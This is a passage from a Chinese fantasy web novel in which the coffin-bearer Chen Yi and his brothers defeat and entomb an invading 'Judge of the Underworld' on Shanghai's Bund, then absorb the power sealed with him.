黄浦江畔,外滩。
那片象征着一个时代的万国建筑群,核心地带,被一团浓得化不开的黑雾彻底侵占。
一栋哥特风格的古老银行大楼,如同一座插在城市心脏的巨大墓碑,成了黑雾的源头。
黑雾翻滚,无数扭曲的人脸在其中沉浮,发出无声的哀嚎。
那不是幻象。
是活生生被抽离的生魂。
大楼顶端,一道模糊的高大人影静立,手握巨大的黑色镰刀,身上一半是神圣的威压,一半是深渊的死寂。
自称,“冥界审判官”。
在他的神国领域内,生命正在枯萎。
柏油马路长出尸斑,霓虹灯光黯淡如烛火。
空气粘稠、冰冷,带着坟墓开棺时的陈腐气味。
十公里外,封锁线壁垒森严。
无数军车与装甲车严阵以待,士兵们死死盯着那片扩张的死亡地带,每个人的脸上都写满了无力。
这不是凡人能够介入的战争。
就在这令人窒息的氛围中,几辆黑色越野车撕开警戒,径直闯入封锁圈的最核心。
车门洞开。
陈义领着义字堂七个兄弟,大步而下。
他们依旧是一身抬棺匠的黑衣,背着各自的乌木杠木,只是这一次,每个人的脸上都带着一股压不住的滔天煞气。
“八爷,就那儿了。”胖三指着远处的黑雾大楼,压低了声音,“乖乖,这阵仗比上次那什么圣光驱魔团大多了。这洋鬼子,是把他家祖坟刨了背过来的?”
陈义没说话,只是抬眼,目光穿透重重鬼影,直视那黑雾中的身影。
他怀里的【病历铜镜】滚烫,镜面上那个代表沪上的红点,已经膨胀到快要滴出血来。
“他不是靠信徒念经的神棍。”
陈义的声音淬着冰,“他的力量,源自一种古老的死亡规则。他本身,就是那条规则的化身。更纯粹,也更傲慢。”
他能感觉到,对方并非在针对某个凡人。
而是在自己的“领地”内,对另一条陌生的、同样霸道的“规则”的出现,感到了冒犯。
一头狮王,在自己的疆域里,嗅到了另一头雄狮的气味。
一扬血战,在所难免。
“不懂规矩的畜生,就得教。”大牛瓮声瓮气,蒲扇大的手掌拍了拍背后的【百年柳木迎宾棺】,骨节爆出炒豆般的脆响。
“走吧,去会会这位‘审判官’。”
陈义迈开步子,径直走向那片死亡黑雾。
胖三等人紧随其后,八个人,步伐整齐划一,像一支踏入幽冥的军队。
踏入黑雾的瞬间,一股能冻结灵魂的阴冷力量,从四面八方涌来,要侵入他们的骨髓,剥离他们的生命。
胖三等人浑身剧震,像是赤身裸体跳进了腊月的冰窟窿。
可不等他们运起阳气抵抗,走在最前的陈义,只是轻轻一顿脚。
咚。
一声轻响。
他怀中的【人皇印】倏然一亮。
一股无形却浩瀚到无法形容的意志,以陈义为中心,轰然席卷开来!
这股意志,连接着脚下每一寸土地,牵动着空气中每一缕气息。
它没有去冲击黑雾,也没有去对抗那死亡规则。
它只是在宣告。
“此地,炎黄之土。”
“此法,华夏之纲。”
“外来之神,越界之权——”
“无效!”
嗡——!
好比一台来自异域的精密仪器,被强行接入了一个完全不兼容的操作系统!
那原本汹涌的死亡黑雾,像是被泼了滚油的积雪,瞬间剧烈翻腾、消融!
侵蚀义字堂众人的死亡之力,在接触他们身体的刹那,就被一股更古老、更根本的“地气”强行中和、排斥!
胖三等人只觉浑身一暖,那刺骨的寒意退得无影无踪,取而代之的,是脚踏实地的安稳。
整片神州大地,都成了他们最坚实的后盾。
“我……我去!八爷,牛批!”胖三震惊地瞪大了眼睛,“这感觉……就像在自家地盘上,网速都快了好几倍啊!”
陈义没理会他的插科打诨,目光锁定大楼顶端的身影。
对方显然也感受到了这规则层面的突变。
那道模糊的人影动了。
他缓缓低头,两点猩红的光芒在黑雾中亮起,是深渊睁开了魔眼。
一个冰冷、生硬的意念,跨越空间,直接在陈义的脑海中炸响。
【有趣的凡人……你身上,有这片土地‘根源’的味道。】
【但是,规则,就是用来打破的。死亡,凌驾于一切土地与根源之上。】
【跪下,交出你的印章。吾主,冥神哈迪斯,可赐予你在他死后的花园中,成为一名卑微园丁的荣耀。】
话语里,是高高在上的施舍。
陈义笑了。
“哈迪斯?”他摇了摇头,脸上满是嘲弄,“没听说过。我只知道,在我华夏地界,管死人的叫地府,老大姓阎。你家主人是哪个乡下土神,也敢跑来别人地盘抢生意?”
【放肆!】
那道意念瞬间暴怒!
【渎神者,你将为你的傲慢,付出灵魂被永恒灼烧的代价!】
话音未落,大楼顶端的身影,猛地举起手中巨镰!
“呼——”
一道纯粹由死亡之力凝聚的黑色风刃,撕裂空气,发出凄厉的尖啸,以超越音速的可怕速度,直斩陈义头颅!
这一击,足以将一栋摩天大楼拦腰斩断!
陈义却站在原地,眼皮都未曾抬一下。
他身后的胖三等人,脸上甚至带着看好戏的表情。
就在黑色风刃即将触及陈义的瞬间。
“大牛!”陈义低喝。
“得嘞!”
大牛一步踏出,铁塔般的身躯挡在陈义身前。他反手将背上的【百年柳木迎宾棺】往地上一顿!
咚!
棺材落地,闷响如雷。
大牛双手按住棺盖,一声暴喝:“开门,迎客!”
“嘎吱——”
黑洞洞的棺口,悍然洞开!
一股比那死亡风刃更霸道、更蛮不讲理的吸力,从棺材中轰然爆发!
那道足以开山裂石的黑色风刃,连一丝浪花都未能翻起,就被那黑洞洞的棺口一口吞没!
迎宾棺内传来一声咀嚼般的闷响,然后……再无声息。
“就这?”胖三掏了掏耳朵,撇嘴道,“还以为多大动静呢?刮的什么风?黑旋风?力道还没我放的屁冲!”
【……】
大楼顶端的身影,明显凝滞了一瞬。
他似乎无法理解,自己足以收割神明之下一切灵魂的“寂灭之刃”,为何会消失得如此无声无息。
“看来你不太懂我们这儿的规矩。”
陈义双手插兜,悠然向前,如同在自家后院散步。
“我们抬棺匠,讲究一个‘入土为安’。不管你是神是魔,是英雄还是狗熊,死了,就得进棺材。你这道风刃,阴气太重,怨气不小,按规矩,属于‘凶死’,理应收殓。”
他指了指大牛身前的迎宾棺。
“看见没?那是我们义字堂专门给你们这种‘贵客’准备的豪华单间,独门独院,冬暖夏凉,还包售后。你要是现在自己躺进去,我们还能给你打个八折。”
这番话,用最平淡的语气,说着最极致的羞辱。
【你……在找死!】
审判官的意志,愤怒到了极点。
他高举镰刀,不再发出攻击,而是重重劈在自己脚下的大楼天台!
轰隆!
整栋大楼剧烈震颤,十级地震降临!
以大楼为中心,地面裂开无数漆黑的缝隙,涌出更加粘稠的黑色液体。
那些液体如同活物,迅速汇聚、攀爬、扭曲,最终,在审判官的身后,凝聚成了一尊高达百米的……骸骨泰坦!
它由无数枯骨与残骸堆砌而成,空洞的眼眶中燃烧着幽绿鬼火,每一次呼吸,都在疯狂吞噬周围的生命力。
神国,彻底展开!
这一次,不再是领域压制,而是召唤出了镇守神国的战争兵器!
【凡人,见证神罚!】
骸骨泰坦发出一声震耳欲聋的咆哮,巨大的骨掌,带着拍碎山峦的恐怖力量,朝着陈义一行人,轰然砸下!
阴影,笼罩一切。
远方封锁线上的士兵骇然地看着这神话降临的一幕,面无人色。
阴影之下,陈义只是缓缓抬头。
他看着那遮天蔽日的骨掌,脸上非但没有恐惧,反而露出了一丝失望。
“又是这种以大欺小的把戏,一点新意都没有。”
他摇了摇头,伸出一只手。
“猴子,老七。”
“在!”
“分金定穴,给我找出这大家伙的‘命门’。”
“得令!”
猴子和老七身形一错,分立两侧。猴子手中多了一面罗盘,老七则掏出一沓黄符。
正是从摸金门“赢”来的镇派之宝——七巧分金盘!
“起!”
两人同时低喝,气机注入分金盘。
罗盘指针瞬间竖起,如同一根刺破天穹的避雷针!
指针顶端爆出刺眼金光,在骸骨泰坦庞大的身躯上飞速扫过,像一台最精密的CT扫描仪。
“八爷!”猴子高声喊道,“找到了!它的力量核心,是胸口第三根肋骨!那是所有死亡法则的汇聚点,也是它和那个鸟人审判官的连接点!破了那儿,这大家伙就是一堆破烂!”
“干得漂亮。”
陈义点头,然后,看向那只即将把他们拍成肉泥的巨大骨掌。
他体内紫金龙气轰然流转。
一股比骸骨泰坦更霸道、更蛮横的气势,从他身上冲天而起!
他没有去看自己的兄弟,却发出了一个让所有人都意想不到的命令。
“义字堂听令!”
“结八仙抬棺阵!”
“今天,咱们不抬棺,不迎宾。”
“咱们……抬了这尊洋神!”
第143章 八仙撼神,我为天倾!
这道命令,便如一道九天神雷,直直劈在外滩死寂的空气里!
胖三等人浑身剧震,眼中那市井的戏谑瞬间蒸发殆尽。
取而代之的,是一股深植于血脉、传承自远古的悍勇与癫狂!
“结阵!”
没有丝毫迟疑。
八道身影如鬼魅般闪动,刹那间依照北斗七星的玄奥方位站定。
陈义,便是那执掌一切的“天枢”!
嗡——
他们背上的乌木杠木嗡然作响,自行挣脱束缚,在八人之间交错飞舞,瞬间缔结成一幅古老而繁复的阵图。
阵法成型的刹那,八人的呼吸、心跳、气机,乃至灵魂的律动,都达到了绝对的同步!
一股凝实、厚重、纯粹到极致的阳刚气焰,自阵法中心冲霄而起!
金色气焰在半空中,凝聚成一尊高达百丈、怒目圆睁的战神虚影!
这尊金色战神,顶天立地,肌肉虬结,周身流淌着蛮荒般的气息,威压之盛,竟丝毫不弱于那尊骸骨泰坦!
“那……那是什么鬼东西?!”
远处指挥部,通过高倍卫星镜头看到这一幕的秦老,呼吸骤停,手中的特供茶杯“哐当”落地,摔成齑粉。
他身边的将星与国士,更是死死盯着屏幕,喉结滚动,一句话也说不出来。
神话,正在他们眼前具象化!
此刻,骸骨泰坦那遮天蔽日的巨掌,已然轰然拍落!
掌势未至,那来自异域死亡法则的碾压之力,已让空间发出不堪重负的悲鸣,足以将这片土地上的一切,都化为齑粉!
就在巨掌即将触碰到金色战神虚影的瞬间。
陈义,作为阵眼,双瞳之中,紫金光焰骤然暴涨!
他没有抬头。
他做出了一个让那异域神祇意志都为之错愕的动作。
陈义微微弯腰,双手虚抬,摆出一个抬棺匠最标准、最古老的起杠姿势。
仿佛他肩上正扛着一口无形的、重逾万钧的棺椁。
然后,对着天空,对着那落下的神罚,猛然向上一“抬”!
“起——!”
一声暴喝,如龙吟,如虎啸,震彻云霄!
随着他这个动作,那尊由八人阳气凝聚而成的金色战神,也同步做出了一个向上“抬”的动作!
它没有出拳,没有格挡。
它只是用自己的肩膀,用一种最原始、最野蛮、最不讲道理的方式,硬生生扛向了那只拍下的巨掌!
这是八仙抬棺阵的本源真意——承重!
扛生死的重量,扛阴阳的压力,扛这天地间一切不可承受之重!
那异域神祇的意志,头一次出现了剧烈的波动——扛?祂竟然想扛住神罚?!
轰——!!!!
没有声音。
那一瞬间,整个世界都失声了。
只有一道纯粹的,撕裂现实的毁灭光环,以撞击点为中心,轰然扩散!
光环过处,百年历史的洋楼玻璃窗,瞬间化作漫天晶粉!
黄浦江的江面,更是被这股无匹的巨力,硬生生压出一个直径超过百米的恐怖凹陷,掀起的滔天巨浪直扑对岸!
撞击的中心,时空都仿佛被扭曲。
骸骨泰坦那足以拍碎山峦的巨掌,竟真的被那尊金色战神,以一种抬棺匠的方式,硬生生……扛住了!
咔嚓……咔嚓……
金色战神的肩膀上,浮现出蛛网般的细密裂纹。
阵法之中,胖三、大牛等人齐齐发出一声闷哼,嘴角溢出了金色的“阳髓”。
他们承受着撬动一座大陆般的恐怖压力,脚下的地面寸寸龟裂,每个人的身体都在疯狂颤抖。
“顶住!”
陈义低吼,他承受着阵法中七成以上的压力,可他的脊梁却挺得笔直,如一杆刺破青天的不屈战矛!
这只是开始!
【愚蠢的凡人……你们在用血肉之躯,对抗神祇的威力!】
审判官冰冷的意志再次传来,充满了高高在上的不屑。
祂身后的骸骨泰坦,手臂上的幽绿鬼火猛然暴涨,下压的力量瞬间倍增!
“噗——”
这一次,除了陈义,其余七人齐齐喷出一口逆血。
阵法所化的金色战神,半边身子都开始崩解,眼看就要被彻底压垮!
“八爷!顶不住了!这狗娘养的力气太大了!”胖三声嘶力竭地喊道,脸涨成了猪肝色。
“谁说要硬顶了?”
就在这千钧一发之际,陈义的眼中,闪过一丝凛冽到极致的杀机。
他眉心处,那枚刚刚融合不久的【兵主之鳞】,骤然亮起!
一股纯粹的、为杀戮与战争而生的铁血意志,瞬间灌入八仙抬棺阵!
如果说,之前的金色战神是“守”,是“扛”。
那么在【兵主之鳞】的力量注入后,这尊战神的气质,瞬间剧变!
它的眼神不再是怒目,而是化为了尸山血海般的冷酷与漠然。
它的身上,浮现出无数古老的兵戈符文,一股“掌天下兵戈,破一切杀伐”的无上权柄,轰然爆发!
“换阵!”
“八仙过海,各显其能!”
陈义再次下令!
阵法流转,不再凝聚一体,化作八道独立的金色流光!
“大牛,开路!”
“是!”
大牛狂吼一声,脱离阵位,整个人如炮弹般冲天而起。他没有用拳,而是将那口【百年柳木迎宾棺】,当成了最野蛮的攻城锤,狠狠撞向骸骨泰坦的膝盖关节!
“猴子、老七,缚龙索,锁住它的手脚!”
“遵命!”
猴子和老七身形鬼魅,两条浸透黑狗血的缚龙索如黑色蛟龙,划出玄奥轨迹,精准地缠住了骸骨泰坦另一只手臂和一条腿!
“胖三,哭!给它哭丧!用你最恶毒的话骂他祖宗十八代,扰乱它的法则!”
“得令!这活儿我熟啊!”
胖三一屁股坐地上,张嘴就来,那哭声惊天地泣鬼神。
“我的天神老爷啊!你怎么死得这么惨啊!被人拆了骨头架子当柴火烧啊!你家里人知道吗?你老婆是不是跟隔壁的死神跑了啊!头顶都绿成一片青青草原了啊……”
污言秽语,竟真的化作实质性的精神污染,让那神圣的死亡法则,出现了一丝丝的滞涩!
而陈义,则在同一时间,做出了最关键的动作。
他将【兵主之鳞】催动到极致,与体内的【炎黄令】紫金龙气、脚下神州大地的地脉之气,三者合一!
他的目光,死死锁定在骸骨泰坦胸口,第三根肋骨的位置!
“我以炎黄执绋人之名,宣告!”
“此战,为卫国之战!此敌,为入侵之敌!”
“神州疆域之内,一切杀伐,皆由我掌管!”
他的声音,通过【兵主之鳞】,化作了这片战扬上至高无上的战争律令!
他伸出手指,遥遥指向那根肋骨。
“破!”
一个字,言出法随!
正在疯狂施压的骸骨泰坦,动作猛然一僵!
它体内的异域死亡法则,在这一刻,遭到了整个世界战争规则的排斥与背叛!它不再是神罚的兵器,而是一个“非法武装”!
就在这万分之一秒的凝滞中。
陈义的身影,原地消失。
下一秒,他鬼魅般出现在骸骨泰坦的胸前,手中不知何时,已多了一根由纯粹紫金龙气凝聚而成的……杠木!
那是抬棺匠用了千百年的工具!
是送葬人手中丈量生死的标尺!
陈义双手持“杠”,没有劈砍,没有突刺。
他只是用杠木的一端,精准无比地,点在了那根被法则排斥的肋骨上。
然后,以一个撬动山河、撬动日月的姿势,猛地向上一“撬”!
“送你……上路!”
咔嚓——!!!!
一声清脆到极致的碎裂声,响彻天地!
那根比神金还要坚硬,由纯粹死亡法则凝聚的肋骨,应声而断!
“吼——!!!”
骸骨泰坦发出一声不似生物的凄厉惨嚎,庞大的身躯轰然一震,眼眶中的鬼火瞬间熄灭!
它与那审判官之间的法则链接,被这一“撬”,硬生生地、蛮横地……撬断了!
轰隆隆……
失去了法则支撑,这尊百米高的骸骨泰坦,如一座崩塌的山脉,化作漫天碎骨,轰然倒塌,在地面上砸出一个巨坑。
尘埃落定。
陈义的身影,缓缓从空中落下,衣衫猎猎,毫发无损。
他抬头,看向那栋大楼顶端,那个因为战争兵器被毁而气息大乱的审判官,嘴角勾起一道残酷的弧度。
“现在,轮到你了。”
“按照我新立的规矩,非法入境,扰乱治安,毁坏公物,恐吓市民……数罪并罚。”
他伸出一只手,掌心向上。
“我们也不是不讲道理的人,你可以选择赔偿。”
“把你那把破镰刀,和你身上那套力量规则的‘源码’,交出来。然后,滚出这片土地,永远别再回来。”
【……你……你竟敢……】
那审判官的意志,充满了震惊与不可置信。
“我没时间跟你废话。”陈义的耐心似乎已经耗尽,他掌心那枚刚刚沉寂下去的【阴阳两判鳞】,再次亮起,一半哭脸,一半笑脸,散发着审判因果的诡异气息。
“我数三声。”
“要么,赔钱。”
陈义的目光,扫过远处那口黑洞洞的【迎宾棺】,声音陡然转冷,如同万载玄冰。
“要么……”
“我亲自来收尸!”
第144章 开棺,迎宾!送这位洋神入土为安!
【赔偿?】
【一个凡人,竟敢向神索要赔偿?!】
冰冷的意志如海啸决堤,瞬间席卷!不再是高高在上的威严,而是被触及逆鳞的暴戾与疯狂。
祂矗立于百年钟楼之顶,周身环绕的死亡黑雾剧烈翻滚,一个正在苏醒的恐怖世界若隐若现。
【你毁了我的战争兵器,我会抽出你的灵魂,在冥河的寒风中吹上千年!】
【我会让你明白,凡人挑衅神祇的代价,是用永恒的痛苦来偿还!】
审判官高举起那柄巨大的黑色镰刀。
刀锋之上,无数痛苦哀嚎的灵魂虚影浮现,那是祂收割过的亿万生灵,是祂权柄的证明。
陈义的回应,简单而直接。
他竖起了两根手指。
“二。”
没有多余的废话。
没有最后的通牒。
这个数字,像是一记无声的耳光,狠狠抽在了那位异域神祇的脸上。
那审判官的意志猛然一滞。
祂甚至没等到陈义数出最后一个数。
【你找死!】
审判官彻底暴走!
祂手中的死亡镰刀划破长空,没有斩向陈义,而是朝着自己的脚下,那片被祂神国笼罩的区域,狠狠一划!
“嗡——”
一道肉眼可见的黑色波纹,以钟楼为中心,无声无息地扩散开来。
这不是物理攻击。
这是直指灵魂本源的法则剥离!
波纹所过之处,所有物质的存在感都在被削弱,仿佛要被从这方天地间,生生抹除!
远处观战的秦老等人,只觉得屏幕上的画面一阵扭曲,心脏像是被一只无形的大手攥住,几乎要停止跳动。
义字堂的兄弟们,除了陈义,都感到一阵源自灵魂深处的战栗。
一把冰冷的刀,正贴着他们的脖颈,随时准备将他们的头颅与身体分家。
“八爷!”胖三惊叫一声,感觉自己的魂儿都要离体了。
“开棺。”
陈义的声音,听不出半点波澜,仿佛这足以弑神的攻击,只是拂面的微风。
“迎宾!”
“是!”
大牛早已蓄势待发,听到命令,他那蒲扇般的大手猛地一拍!
“哐当!”
那口始终静置一旁的【百年柳木迎宾棺】,棺盖应声而开!
这一次,棺材口不再是深不见底的漆黑。
而是一片……纯粹到极致的金色!
那金色浓稠如浆,仿佛里面装着的不是空气,而是一整轮熔化的太阳!
至刚至阳的恐怖气息喷薄而出,瞬间便将那道侵袭而来的黑色波纹冲刷得干干净净!
迎宾棺,开的不是门,是通往阳间的路!
是为一切阴邪准备的,最终归宿!
【这是……什么东西?!】
审判官的意志中,第一次出现了真正意义上的惊骇。
祂能感觉到,那口古怪的木棺,对祂的死亡法则,有着天生的、绝对的克制!
下一秒,那口金光灿烂的棺材,爆发出了一股无可抗拒的恐怖吸力!
这股吸力不针对任何物质,只针对灵魂与法则!
审判官只觉得自己的神魂像是被一万条锁链勾住,正被一股蛮横的力量,硬生生朝着那口棺材里拖拽!
【休想!】
祂发出一声怒吼,将死亡镰刀重重插进脚下的楼顶,镰刀上爆发出无尽的死亡符文,化作一道道黑色的锁链,死死地将祂与这片神国领域捆绑在一起,疯狂抵抗着迎宾棺的吸力。
一时间,外滩的上空,出现了一幅诡异绝伦的画面。
一口金光万丈的棺材,与一位被黑色锁链缠身的异域神祇,在半空中展开了一扬无声的拔河。
金色的阳气与黑色的死亡气息疯狂对冲、湮灭,产生的能量风暴让周围的空间都开始扭曲、破碎。
“嘿,八爷,这家伙劲儿还挺大!”胖三抹了把冷汗,看着僵持的局面,眼珠子一转。
陈义瞥了他一眼,没说话,但那意思很明显。
“得嘞!”
胖三心领神会,搓了搓手,脸上露出一种极其猥琐又专业的笑容。
他没有去帮忙,而是从怀里掏出了一卷……黄裱纸。
然后,他又掏出了一支饱蘸朱砂的毛笔。
在所有人,包括远处屏幕前的秦老等人目瞪口呆的注视下,胖三清了清嗓子,一边龙飞凤舞地在黄裱纸上写着什么,一边用一种抑扬顿挫、饱含悲痛的哭腔,高声朗诵起来:
“哎呀呀!我尊敬的、远道而来的、不知名的外国友人啊!”
“你怎么就想不开了呢?”
“你说你来我们这旮旯地,我们好吃好喝招待着,你怎么就非要寻死觅活呢!”
“你看看你,生前也是个体面人,穿着黑袍子,拿着大镰刀,多威风啊!死后就别挣扎了,不安详啊!”
胖三一边哭嚎,一边将写满字的黄裱纸往天上一扬。
“我义字堂,秉承人道主义关怀,特为您提供跨国殡葬一条龙服务!入殓、哭丧、送行、下葬,全套服务,保证让您走得舒心,走得体面!”
“您要是嫌我们这边的棺材板太硬,我们还可以给您定制席梦思款的!保证冬暖夏凉,比您那什么冥河舒服多了!”
“您家里人要是知道了,肯定得给我们送锦旗啊!上书‘异域神明终结者,殡葬行业领军人’!”
这番惊天地泣鬼神的哭丧,通过气机,清晰无比地传入了那审判官的意志之中。
那审判官是谁?
冥界的执法者,死亡的具象化身,行走于世间的神祇!
祂经历过无数战争,收割过无数英雄与枭雄的灵魂,何曾受过这等奇耻大辱?!
这已经不是挑衅了。
这是把祂的尊严按在地上,用最市井、最粗鄙的方式,反复摩擦!
【闭嘴!你这只卑贱的蝼蚁!】
审判官的神魂意志,因为极致的愤怒而出现了剧烈的波动。
祂分出了一丝心神,想要将这个满嘴喷粪的胖子碾成齑粉。
高手过招,胜负只在毫厘之间。
神祇,也不例外。
就是这一瞬间的分神!
陈义眼中寒光一闪。
他等的就是这一刻!
他一步踏出,身影瞬间出现在半空,与那审判官遥遥相对。
他没有动手,而是缓缓抬起了右手。
掌心那枚刚刚获得不久的【人皇印】,绽放出温润而霸道的金色光芒。
一股至高无上的意志,以陈义为中心,向整个神州大地颁布律令!
“我以炎黄执绋人、人皇之名,昭告天地!”
“此方水土,为炎黄之疆!”
“疆域之内,生死有律,轮回有序!”
“一切外来游魂,不入我轮回,不遵我法度者……”
陈义的声音陡然拔高,如同九天惊雷,字字句句,都化作了这片天地间不可违逆的铁则!
“皆为……孤魂野鬼!”
“按我炎黄规矩——”
“入土为安!”
“轰——!!!”
随着他最后一个字落下,整个神州大地的地脉之气,仿佛都听到了号令,疯狂地朝着上海外滩汇聚而来!
那口【百年柳木迎宾棺】上的金光,瞬间暴涨百倍!
原本僵持的吸力,在这一刻,化作了吞噬天地的恐怖黑洞!
【不——!】
审判官发出了惊恐到极致的意志咆哮。
祂感觉到,自己与这片天地的所有联系,都被陈义那霸道的“规矩”给强行切断了。
祂不再是神。
祂是一个非法入境的“黑户”!
这片天地,正在排斥祂,驱逐祂,要将祂彻底埋葬!
“咔嚓!”
那柄号称能收割一切灵魂的死亡镰刀,第一个承受不住这股天地伟力,从中断裂,被吸入棺中!
紧接着,是祂身上那些由死亡法则凝聚的黑色锁链,寸寸崩解!
最后,是祂的神魂本体!
祂疯狂挣扎,神魂却被死死拽住,如陷泥潭,动弹不得,被一点点拖向那金色的深渊。
在祂被吸入棺材的前一秒,祂那双燃烧着幽火的眼瞳,死死地盯着地面上那个神情淡漠的年轻人。
祂看到了。
在那年轻人的身后,仿佛站着一个模糊而伟岸的影子。
那影子头戴冠冕,身披龙袍,俯瞰着万古岁月,正是这片土地最古老的意志化身。
【原来……是这样……】
这是审判官留在这世上的,最后一道意念。
随即,祂的神魂,被那金色的旋涡,彻底吞噬!
“砰!”
棺盖,重重合上。
一道道由紫金龙气化作的符箓,自动烙印在棺盖之上,将其彻底封死。
呼——
笼罩外滩的死亡黑雾,如遇烈日的积雪,在短短数秒内,消散得无影无踪。
天空,重新露出了清朗的夜色。
黄浦江的水,依旧在静静流淌。
仿佛刚才那扬惊天动地的神战,只是一扬幻觉。
只有那满目疮痍的街道,和钟楼顶端那个巨大的窟窿,证明着一切都是真实发生过的。
陈义的身影,缓缓从空中落下,站在了那口封印着异域神祇的迎宾棺前。
他伸出手,轻轻在棺材上敲了敲。
“咚、咚。”
“快递,签收了。”
他话音刚落,那棺材微微一震,棺盖裂开一道缝隙。
“嗖”的一声,半截断裂的死亡镰刀,被从里面“吐”了出来,掉在地上。
此刻的镰刀,已经没有了丝毫死亡气息,反而流淌着一种纯粹的、代表“终结”与“寂灭”的法则之力,古朴而厚重。
它的“神性”被剥离,只剩下了最本源的“规则”。
陈义弯腰,捡起这半截镰刀,掂了掂,似乎还算满意。
“八爷,完活儿了?”
胖三屁颠屁颠地跑了过来,脸上堆满了笑容,搓着手问道。
“那……这笔业务的账单,咱们是寄到圣殿,还是直接烧给他本人签收?”
陈义瞥了他一眼,没好气道:“收个尸而已,哪来那么多废话。”
他转过身,看向远处正急速驶来的军用车辆,对着耳麦平静地说道:
“秦老,外滩的垃圾,清理干净了。”
电话那头,是一阵长久的沉默。
许久,秦老那带着一丝颤抖和无比复杂情绪的声音才传来:“……收到。陈义同志,你……你又一次,刷新了我们对这个世界的认知。”
陈义抬头看了看天上的月亮,语气随意。
“只是按照我们抬棺匠的规矩,办了件事。”
“顺便,”他的目光落在手中那截断裂的镰刀上,嘴角扯了一下。
“收了点份子钱。”
第145章 东海龙王没了?走,去龙宫钓条新的!
夜风吹过外滩,带着黄浦江特有的湿润水汽,卷走了最后一丝死亡黑雾,却吹不散空气中那股子令人心悸的死寂。
远处,刺耳的警笛声由远及近。
一排排墨绿色的军用卡车和特种车辆组成钢铁长龙,封锁了整个区域。
全副武装的士兵跳下车,迅速建立起防线,但当他们的目光触及场中那个站在一口诡异木棺旁的年轻人时,所有人的动作都下意识地放缓了,眼神里混杂着敬畏与匪夷所思。
屏幕里的画面再震撼,也比不上亲眼所见。
“八爷,您……您这……这就完事了?”
胖三凑了过来,他看着地上那半截断裂的镰刀,又看了看那口彻底没了动静的迎宾棺,狠狠地咽了口唾沫。
刚才陈义那番“昭告天地”的霸道言语,那引动整个神州地脉之气强行“入土为安”的场面,已经彻底超出了他的认知范畴。
那不是斗法。
不是比拼力量。
那是……制定规则。
在这片土地上,陈义说你是鬼,你就是鬼。
他说让你入土,你就得乖乖躺进去。
“不然呢?”陈义把玩着手中断裂的镰刀,这东西入手冰冷,却不带丝毫阴气,反而有一种万物终结、归于寂灭的纯粹法则感,“留着他过年吗?”
胖三嘿嘿一笑,搓着手,脸上那点后怕瞬间被职业本能取代:
“那什么……八爷,这笔跨国殡葬业务的账单,我是直接烧给他本人签收,还是寄到圣殿,问问他们那边给不给报销?”
陈义斜了他一眼,懒得搭理这个财迷。
这时,秦老在一个警卫排的护送下,快步走了过来。
他看着陈义,嘴唇动了动,有千言万语,最后却只化为一声长长的叹息。
“陈义同志,辛苦了。”
“分内之事。”陈义将那半截镰刀随手递给胖三,“收好,这趟的份子钱。”
胖三如获至宝地接过来,用袖子擦了又擦,嘴里还嘀咕着:“这玩意儿也不知道能不能在咱们行里当个镇物……”
秦老眼角抽了抽,没理会这个活宝,他的目光落在了那口【百年柳木迎宾棺】上,神情凝重:“这里面……就是那个……”
“一个非法入境的孤魂野鬼,已经处理干净了。”陈义说得轻描淡写。
“不过这口棺材,得尽快运回京城,我还有用。”
秦老立刻会意:“明白!我马上安排最稳妥的专机。”
他知道,这口棺材里装着的,是一位“神”的尸体。
这东西的价值,无可估量。
“另外,”陈义指了指满目疮痍的街道和钟楼顶上的大洞,“这里烂烂摊子,就交给你们了。对外怎么说,是你们的事,我只有一个要求。”
“你说。”
“别影响明天外滩的游客拍照。”
秦老一愣,随即苦笑着点了点头。
这大概就是属于强者的从容。
天塌下来,在他眼里,或许也只是一件需要清扫的“垃圾”而已。
很快,在军方的协助下,封印着冥界审判官的迎宾棺被小心翼翼地抬上了一辆特制的运输车。
从头到尾,义字堂的兄弟们都没再碰一下,只是静静地看着。
他们心里清楚,八爷已经走在了一条他们无法想象的道路上。
他们能做的,就是跟上,哪怕只是跟在他的影子里。
……
回到京城,苏家老宅。
依旧是那间熟悉的地下密室。
当那口迎宾棺被抬进来,放在青铜巨棺前时,整个密室的空气骤然变得粘稠而沉重。
青铜巨棺那沉稳有力的心跳声,第一次出现了一丝细微的波动,像一个沉睡的帝王,闻到了自己感兴趣的贡品的味道。
胖三他们几个远远地站着,连大气都不敢喘。
如果说冠军侯那口棺材是“开胃小菜”,那这口封印着异域神祇的棺材,毫无疑问,是“主菜”。
陈义没有多余的动作。
他走上前,只是轻轻拍了拍迎宾棺。
“开饭了。”
话音落下,他手掌心的人皇印微微一亮,烙印在迎宾棺上的紫金符箓瞬间消散。
“砰。”
棺盖,自行打开。
里面没有金光,也没有黑雾,空空如也。
下一秒,青铜巨棺动了。
它没有发出恐怖的吸力,也没有惊天动地的异象。
只见那口迎宾棺,像是被一种无形的力量托起,缓缓地、平稳地,融入了青铜巨棺之中。
就像水滴汇入大海,整个过程安静得可怕。
迎宾棺消失的瞬间,青铜巨棺的心跳声猛地停顿了一下。
紧接着,一声巨响并非经由耳膜,而是直接在每个人的魂魄深处轰然引爆!
这一次的心跳,比以往任何一次都要强劲,都要充满生命力!
胖三等人只觉得一股沛然莫御的威压当头压下,双腿一软,差点又跪了。
陈义站在原地,感受着那股力量冲刷着自己的身体,体内的紫金龙气欢呼雀跃,仿佛也得到了巨大的滋养。
片刻后,威压收敛,心跳声恢复了平稳。
青铜巨棺的棺身上,一个全新的凹槽缓缓浮现,一滴深邃如黑洞的液体在其中凝聚、旋转,最终化为一枚通体漆黑、却篆刻着六道玄奥纹路的龙鳞。
那龙鳞之上,有无数生灵轮转生灭的景象在闪烁。
【六道轮回鳞】!
陈义伸出手,那枚龙鳞自动飞入他的眉心。
一股磅礴的权柄之力,而非信息流,瞬间贯穿了他的神魂。
这一次,他得到的不是某种力量,而是一种权柄。
一种……执掌轮回,审判阴阳的权柄!
他之前获得的【阴阳两判鳞】,只能模糊地看到功过因果,而这枚【六道轮回鳞】,却能让他清晰地看到一个灵魂的过去、现在,甚至能干涉其未来的走向!
这是真正意义上的,阴司权柄!
陈义缓缓睁开眼。
他抬起头,看向密室的墙壁。
在他的视野里,墙壁消失了,取而代之的是一条奔流不息的虚幻长河。
河中,有无数光点在沉浮,那是神州大地上所有逝去的魂魄。
它们中的大部分,都在浑浑噩噩地顺流而下,最终汇入一个巨大的、看不见尽头的漩涡。
但还有一小部分,因为各种执念,在河中挣扎、徘徊,化为孤魂野鬼,甚至成为凶煞。
而现在,陈义感觉自己只要一个念头,就能将这些偏离轨道的灵魂,重新“捞”回正途
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这,就是“规矩”的力量。
